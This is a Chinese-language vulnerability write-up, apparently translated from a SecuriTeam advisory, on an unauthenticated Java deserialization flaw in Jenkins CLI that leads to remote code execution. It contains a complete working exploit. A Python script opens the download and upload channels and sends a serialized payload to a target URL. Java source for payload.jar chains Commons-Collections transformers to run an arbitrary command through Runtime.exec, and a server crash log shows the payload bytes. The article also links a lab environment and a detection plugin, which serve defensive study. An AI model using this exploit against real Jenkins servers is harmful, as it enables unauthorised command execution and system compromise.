Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

【漏洞分析】Jenkins 未授权代码执行漏洞分析(更新漏洞环境、检测脚本)

$
0
0
【漏洞分析】Jenkins 未授权代码执行漏洞分析(更新漏洞环境、检测脚本)

2017-05-04 17:18:58

阅读:10959次
点赞(0)
收藏




【漏洞分析】Jenkins 未授权代码执行漏洞分析(更新漏洞环境、检测脚本)

作者:興趣使然的小胃





【漏洞分析】Jenkins 未授权代码执行漏洞分析(更新漏洞环境、检测脚本)

翻译:興趣使然的小胃

预估稿费:100RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


一、摘要

CloudBees Jenkins 2.32.1版本中存在Java反序列化漏洞,最终可导致远程代码执行。

Jenkins是一款持续集成(continuous integration)与持续交付(continuous delivery)系统,可以提高软件研发流程中非人工参与部分的自动化处理效率。作为一个基于服务器的系统,Jenkins运行在servlet容器(如Apache Tomcat)中,支持版本控制工具(包括AccuRev、CVS、Subversion、Git、Mercurial、Perforce、Clearcase以及RTC),能够执行基于Apache Ant、Apache Maven以及sbt的工程,也支持shell脚本和windows批处理命令。


二、漏洞细节

为了触发Jenkins的Java反序列化漏洞,我们需要向Jenkins发送两个请求。

该漏洞存在于使用HTTP协议的双向通信通道的具体实现代码中,Jenkins利用此通道来接收命令。

我们可以通过第一个请求,建立双向通道的一个会话,从服务器上下载数据。HTTP报文头部中的“Session”字段用来作为通道的识别符,“Side”字段表明传输的方向(下载或上传,download/upload)。


【漏洞分析】Jenkins 未授权代码执行漏洞分析(更新漏洞环境、检测脚本)

我们可以通过第二个请求向双向通道发送数据。服务器会阻塞第一个请求,直到我们发送第二个请求为止。HTTP报文头部中的“Session”字段是一个UUID,服务器通过该UUID来匹配具体提供服务的双向通道。


【漏洞分析】Jenkins 未授权代码执行漏洞分析(更新漏洞环境、检测脚本)

所有发往Jenkins CLI的命令中都包含某种格式的前导码(preamble),前导码格式通常如下所示:

<===[JENKINSREMOTINGCAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAH4=

该前导码包含一个经过base64编码的序列化对象。“Capability”类型的序列化对象的功能是告诉服务器客户端具备哪些具体功能(比如HTTP分块编码功能)。

前导码和其他一些额外字节发送完毕后,Jenkins服务器希望能够收到一个类型为“Command”的序列化对象。由于Jenkins没有验证序列化对象,因此我们可以向其发送任何序列化对象。

反序列化处理代码位于“Command”类的“readFrom”方法中,如下所示:


【漏洞分析】Jenkins 未授权代码执行漏洞分析(更新漏洞环境、检测脚本)

readFrom方法在“ClassicCommandTransport”类的“read()”方法中被调用:


【漏洞分析】Jenkins 未授权代码执行漏洞分析(更新漏洞环境、检测脚本)

通过上传通道发送的数据在ReaderThread线程类中进行读取,如下所示:


【漏洞分析】Jenkins 未授权代码执行漏洞分析(更新漏洞环境、检测脚本)

该线程由“upload”方法触发运行,而“upload”方法在“CliEndpointResponse”类中被调用:


【漏洞分析】Jenkins 未授权代码执行漏洞分析(更新漏洞环境、检测脚本)

“upload”方法读取HTTP body数据,之后调用“notify”方法通知线程进行处理。


【漏洞分析】Jenkins 未授权代码执行漏洞分析(更新漏洞环境、检测脚本)

三、PoC

为了利用该漏洞,攻击者需要运行“payload.jar”脚本,创建一个包含待执行命令的序列化载荷。

接下来,攻击者需要修改jenkins_poc1.py脚本:

1、修改URL变量所指向的目标url;

2、在“FILE_SER = open(“jenkins_poc1.ser”, “rb”).read()”那一行,将要打开的文件指向自己的载荷文件。

修改完毕后,你可以在jenkins的日志输出中看到如下信息:

Jan26,20172:22:41PMhudson.remoting.SynchronousCommandTransport$ReaderThreadrun SEVERE:I/OerrorinchannelHTTPfull-duplexchannela403c455-3b83-4890-b304-ec799bffe582 hudson.remoting.DiagnosedStreamCorruptionException Readback:0xac0xed0x000x05'sr'0x00'/org.apache.commons.collections.map.ReferenceMap'0x150x940xca0x030x98'I'0x080xd70x030x000x00'xpw'0x110x000x000x000x000x000x000x000x010x00'?@'0x000x000x000x000x000x10'sr'0x00'(java.util.concurrent.CopyOnWriteArraySetK'0xbd0xd00x920x900x15'i'0xd70x020x000x01'L'0x000x02'alt'0x00'+Ljava/util/concurrent/CopyOnWriteArrayList;xpsr'0x00')java.util.concurrent.CopyOnWriteArrayListx]'0x9f0xd5'F'0xab0x900xc30x030x000x00'xpw'0x040x000x000x000x02'sr'0x00'*java.util.concurrent.ConcurrentSkipListSet'0xdd0x98'Py'0xbd0xcf0xf1'['0x020x000x01'L'0x000x01'mt'0x00'-Ljava/util/concurrent/ConcurrentNavigableMap;xpsr'0x00'*java.util.concurrent.ConcurrentSkipListMap'0x88'Fu'0xae0x060x11'F'0xa70x030x000x01'L'0x000x0a 'comparatort'0x000x16'Ljava/util/Comparator;xppsr'0x000x1a'java.security.SignedObject'0x090xff0xbd'h*<'0xd50xff0x020x000x03'['0x000x07'contentt'0x000x02'[B['0x000x09'signatureq'0x00'~'0x000x0e'L'0x000x0c'thealgorithmt'0x000x12'Ljava/lang/String;xpur'0x000x02'[B'0xac0xf30x170xf80x060x08'T'0xe00x020x000x00'xp'0x000x000x050x010xac0xed0x000x05'sr'0x000x11'java.util.HashSet'0xba'D'0x850x950x960xb80xb7'4'0x030x000x00'xpw'0x0c0x000x000x000x02'?@'0x000x000x000x000x000x01'sr'0x00'4org.apache.commons.collections.keyvalue.TiedMapEntry'0x8a0xad0xd20x9b'9'0xc10x1f0xdb0x020x000x02'L'0x000x03'keyt'0x000x12'Ljava/lang/Object;L'0x000x03'mapt'0x000x0f'Ljava/util/Map;xpt'0x000x06'randomsr'0x00'*org.apache.commons.collections.map.LazyMapn'0xe50x940x820x9e'y'0x100x940x030x000x01'L'0x000x07'factoryt'0x00',Lorg/apache/commons/collections/Transformer;xpsr'0x00':org.apache.commons.collections.functors.ChainedTransformer0'0xc70x970xec'(z'0x970x040x020x000x01'['0x000x0d'iTransformerst'0x00'-[Lorg/apache/commons/collections/Transformer;xpur'0x00'-[Lorg.apache.commons.collections.Transformer;'0xbd'V*'0xf10xd8'4'0x180x990x020x000x00'xp'0x000x000x000x05'sr'0x00';org.apache.commons.collections.functors.ConstantTransformerXv'0x900x11'A'0x020xb10x940x020x000x01'L'0x000x09'iConstantq'0x00'~'0x000x03'xpvr'0x000x11'java.lang.Runtime'0x000x000x000x000x000x000x000x000x000x000x00'xpsr'0x00':org.apache.commons.collections.functors.InvokerTransformer'0x870xe80xff'k{|'0xce'8'0x020x000x03'['0x000x05'iArgst'0x000x13'[Ljava/lang/Object;L'0x000x0b'iMethodNamet'0x000x12'Ljava/lang/String;['0x000x0b'iParamTypest'0x000x12'[Ljava/lang/Class;xpur'0x000x13'[Ljava.lang.Object;'0x900xce'X'0x9f0x10's)l'0x020x000x00'xp'0x000x000x000x02't'0x000x0a 'getRuntimeur'0x000x12'[Ljava.lang.Class;'0xab0x160xd70xae0xcb0xcd'Z'0x990x020x000x00'xp'0x000x000x000x00't'0x000x09'getMethoduq'0x00'~'0x000x1b0x000x000x000x02'vr'0x000x10'java.lang.String'0xa00xf00xa4'8z;'0xb3'B'0x020x000x00'xpvq'0x00'~'0x000x1b'sq'0x00'~'0x000x13'uq'0x00'~'0x000x180x000x000x000x02'puq'0x00'~'0x000x180x000x000x000x00't'0x000x06'invokeuq'0x00'~'0x000x1b0x000x000x000x02'vr'0x000x10'java.lang.Object'0x000x000x000x000x000x000x000x000x000x000x00'xpvq'0x00'~'0x000x18'sq'0x00'~'0x000x13'ur'0x000x13'[Ljava.lang.String;'0xad0xd2'V'0xe70xe90x1d'{G'0x020x000x00'xp'0x000x000x000x01't'0x000x05'xtermt'0x000x04'execuq'0x00'~'0x000x1b0x000x000x000x01'q'0x00'~'0x00'sq'0x00'~'0x000x0f'sr'0x000x11'java.lang.Integer'0x120xe20xa00xa40xf70x810x87'8'0x020x000x01'I'0x000x05'valuexr'0x000x10'java.lang.Number'0x860xac0x950x1d0x0b0x940xe00x8b0x020x000x00'xp'0x000x000x000x01'sr'0x000x11'java.util.HashMap'0x050x070xda0xc10xc30x16'`'0xd10x030x000x02'F'0x000x0a 'loadFactorI'0x000x09'thresholdxp?@'0x000x000x000x000x000x00'w'0x080x000x000x000x100x000x000x000x00'xxxuq'0x00'~'0x000x110x000x000x00'/0-'0x020x14'I:aj'0x010xfe0xe7'Kh'0x98'-'0x9c'o!'0x05'H'0x840xfa0xb10x820x020x150x000x900x0a 0x920x0d'x'0xa2'~~'0xdd0xba0xa30xe80xf6'x\3'0xcd0x980x06'*t'0x000x03'DSAsr'0x000x11'java.lang.Boolean'0xcd'r'0x800xd50x9c0xfa0xee0x020x000x01'Z'0x000x05'valuexp'0x01'pxsr'0x00'1org.apache.commons.collections.set.ListOrderedSet'0xfc0xd30x9e0xf60xfa0x1c0xed'S'0x020x000x01'L'0x000x08'setOrdert'0x000x10'Ljava/util/List;xr'0x00'Corg.apache.commons.collections.set.AbstractSerializableSetDecorator'0x110x0f0xf4'k'0x960x170x0e0x1b0x030x000x00'xpsr'0x000x15'net.sf.json.JSONArray]'0x01'To\(r'0xd20x020x000x02'Z'0x000x0e'expandElementsL'0x000x08'elementsq'0x00'~'0x000x18'xr'0x000x18'net.sf.json.AbstractJSON'0xe80x8a0x130xf40xf60x9b'?'0x820x020x000x00'xp'0x00'sr'0x000x13'java.util.ArrayListx'0x810xd20x1d0x990xc7'a'0x9d0x030x000x01'I'0x000x04'sizexp'0x000x000x000x01'w'0x040x000x000x000x01't'0x000x06'randomxxsq'0x00'~'0x000x1e0x000x000x000x00'w'0x040x000x000x000x00'xxq'0x00'~'0x00'sq'0x00'~'0x000x02'sq'0x00'~'0x000x05'w'0x040x000x000x000x02'q'0x00'~'0x000x1a'q'0x00'~'0x000x09'xq'0x00'~'0x00'px' Readahead: athudson.remoting.FlightRecorderInputStream.analyzeCrash(FlightRecorderInputStream.java:80) athudson.remoting.ClassicCommandTransport.diagnoseStreamCorruption(ClassicCommandTransport.java:93) athudson.remoting.ClassicCommandTransport.read(ClassicCommandTransport.java:75) athudson.remoting.SynchronousCommandTransport$ReaderThread.run(SynchronousCommandTransport.java:59) Causedby:java.lang.ClassCastException:org.apache.commons.collections.map.ReferenceMapcannotbecasttohudson.remoting.Command athudson.remoting.Command.readFrom(Command.java:96) athudson.remoting.ClassicCommandTransport.read(ClassicCommandTransport.java:70)

相关的PoC文件为:

3.1 jenkins_poc1.py

importurllib importrequests importuuid importthreading importtime importgzip importurllib3 importzlib proxies={ #'http':'http://127.0.0.1:8090', #'https':'http://127.0.0.1:8090', } URL='http://192.168.18.161:8080/cli' PREAMLE='<===[JENKINSREMOTINGCAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAH4=' PROTO='\x00\x00\x00\x00' FILE_SER=open("jenkins_poc1.ser","rb").read() defdownload(url,session): headers={'Side':'download'} headers['Content-type']='application/x-www-form-urlencoded' headers['Session']=session headers['Transfer-Encoding']='chunked' r=requests.post(url,data=null_payload(),headers=headers,proxies=proxies,stream=True) printr.text defupload(url,session,data): headers={'Side':'upload'} headers['Session']=session headers['Content-type']='application/octet-stream' headers['Accept-Encoding']=None r=requests.post(url,data=data,headers=headers,proxies=proxies) defupload_chunked(url,session,data): headers={'Side':'upload'} headers['Session']=session headers['Content-type']='application/octet-stream' headers['Accept-Encoding']=None headers['Transfer-Encoding']='chunked' headers['Cache-Control']='no-cache' r=requests.post(url,headers=headers,data=create_payload_chunked(),proxies=proxies) defnull_payload(): yield"" defcreate_payload(): payload=PREAMLE+PROTO+FILE_SER returnpayload defcreate_payload_chunked(): yieldPREAMLE yieldPROTO yieldFILE_SER defmain(): print"start" session=str(uuid.uuid4()) t=threading.Thread(target=download,args=(URL,session)) t.start() time.sleep(1) print"pwn" #upload(URL,session,create_payload()) upload_chunked(URL,session,"asdf") if__name__=="__main__": main()

3.2 payload.jar

importjava.io.FileOutputStream; importjava.io.ObjectOutputStream; importjava.io.ObjectStreamException; importjava.io.Serializable; importjava.lang.reflect.Field; importjava.security.KeyPair; importjava.security.KeyPairGenerator; importjava.security.PrivateKey; importjava.security.PublicKey; importjava.security.Signature; importjava.security.SignedObject; importjava.util.Comparator; importjava.util.HashMap; importjava.util.HashSet; importjava.util.Map; importjava.util.concurrent.ConcurrentSkipListSet; importjava.util.concurrent.CopyOnWriteArraySet; importnet.sf.json.JSONArray; importorg.apache.commons.collections.Transformer; importorg.apache.commons.collections.collection.AbstractCollectionDecorator; importorg.apache.commons.collections.functors.ChainedTransformer; importorg.apache.commons.collections.functors.ConstantTransformer; importorg.apache.commons.collections.functors.InvokerTransformer; importorg.apache.commons.collections.keyvalue.TiedMapEntry; importorg.apache.commons.collections.map.LazyMap; importorg.apache.commons.collections.map.ReferenceMap; importorg.apache.commons.collections.set.ListOrderedSet; publicclassPayloadimplementsSerializable{ privateSerializablepayload; publicPayload(Stringcmd)throwsException{ this.payload=this.setup(cmd); } publicSerializablesetup(Stringcmd)throwsException{ finalString[]execArgs=newString[]{cmd}; finalTransformer[]transformers=newTransformer[]{ newConstantTransformer(Runtime.class), newInvokerTransformer("getMethod",newClass[]{String.class, Class[].class},newObject[]{"getRuntime", newClass[0]}), newInvokerTransformer("invoke",newClass[]{Object.class, Object[].class},newObject[]{null,newObject[0]}), newInvokerTransformer("exec",newClass[]{String.class}, execArgs),newConstantTransformer(1)}; TransformertransformerChain=newChainedTransformer(transformers); finalMapinnerMap=newHashMap(); finalMaplazyMap=LazyMap.decorate(innerMap,transformerChain); TiedMapEntryentry=newTiedMapEntry(lazyMap,"foo"); HashSetmap=newHashSet(1); map.add("foo"); Fieldf=null; try{ f=HashSet.class.getDeclaredField("map"); }catch(NoSuchFieldExceptione){ f=HashSet.class.getDeclaredField("backingMap"); } f.setAccessible(true); HashMapinnimpl=(HashMap)f.get(map); Fieldf2=null; try{ f2=HashMap.class.getDeclaredField("table"); }catch(NoSuchFieldExceptione){ f2=HashMap.class.getDeclaredField("elementData"); } f2.setAccessible(true); Object[]array2=(Object[])f2.get(innimpl); Objectnode=array2[0]; if(node==null){ node=array2[1]; } FieldkeyField=null; try{ keyField=node.getClass().getDeclaredField("key"); }catch(Exceptione){ keyField=Class.forName("java.util.MapEntry").getDeclaredField( "key"); } keyField.setAccessible(true); keyField.set(node,entry); KeyPairGeneratorkeyPairGenerator=KeyPairGenerator.getInstance("DSA"); keyPairGenerator.initialize(1024); KeyPairkeyPair=keyPairGenerator.genKeyPair(); PrivateKeyprivateKey=keyPair.getPrivate(); PublicKeypublicKey=keyPair.getPublic(); Signaturesignature=Signature.getInstance(privateKey.getAlgorithm()); SignedObjectpayload=newSignedObject(map,privateKey,signature); JSONArrayarray=newJSONArray(); array.add("asdf"); ListOrderedSetset=newListOrderedSet(); Fieldf1=AbstractCollectionDecorator.class .getDeclaredField("collection"); f1.setAccessible(true); f1.set(set,array); DummyComperatorcomp=newDummyComperator(); ConcurrentSkipListSetcsls=newConcurrentSkipListSet(comp); csls.add(payload); CopyOnWriteArraySeta1=newCopyOnWriteArraySet(); CopyOnWriteArraySeta2=newCopyOnWriteArraySet(); a1.add(set); Containerc=newContainer(csls); a1.add(c); a2.add(csls); a2.add(set); ReferenceMapflat3map=newReferenceMap(); flat3map.put(newContainer(a1),"asdf"); flat3map.put(newContainer(a2),"asdf"); returnflat3map; } privateObjectwriteReplace()throwsObjectStreamException{ returnthis.payload; } staticclassContainerimplementsSerializable{ privateObjecto; publicContainer(Objecto){ this.o=o; } privateObjectwriteReplace()throwsObjectStreamException{ returno; } } staticclassDummyComperatorimplementsComparator,Serializable{ publicintcompare(Objectarg0,Objectarg1){ //TODOAuto-generatedmethodstub return0; } privateObjectwriteReplace()throwsObjectStreamException{ returnnull; } } publicstaticvoidmain(Stringargs[])throwsException{ if(args.length!=2){ System.out.println("java-jarpayload.jaroutfilecmd"); System.exit(0); } Stringcmd=args[1]; FileOutputStreamout=newFileOutputStream(args[0]); Payloadpwn=newPayload(cmd); ObjectOutputStreamoos=newObjectOutputStream(out); oos.writeObject(pwn); oos.flush(); out.flush(); } }

四、其他说明

感谢某位独立安全研究员向SecuriTeam安全公告计划提交此漏洞。

CloudBees Jenkins已经发布了安全补丁修复这个漏洞,读者可以参考此处获取更多细节。


五、漏洞环境及检测脚本

感谢开源社区力量

漏洞靶场环境 由phithon维护

Vulhub是一个面向大众的开源漏洞靶场,无需docker知识,简单执行两条命令即可编译、运行一个完整的漏洞靶场镜像。

https://github.com/phith0n/vulhub/tree/master/jenkins/CVE-2017-1000353


漏洞检测插件 由YSRC社区成员 Dee-Ng提供

该漏洞检测插件需要基于巡风系统使用,巡风是一款适用于企业内网的漏洞快速应急、巡航扫描系统,通过搜索功能可清晰的了解内部网络资产分布情况,并且可指定漏洞插件对搜索结果进行快速漏洞检测并输出结果报表。

https://github.com/ysrc/xunfeng/blob/master/vulscan/vuldb/jenkins_CVE_2017_1000353.py




【漏洞分析】Jenkins 未授权代码执行漏洞分析(更新漏洞环境、检测脚本)
【漏洞分析】Jenkins 未授权代码执行漏洞分析(更新漏洞环境、检测脚本)
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://blogs.securiteam.com/index.php/archives/3171

Viewing all articles
Browse latest Browse all 12749

Trending Articles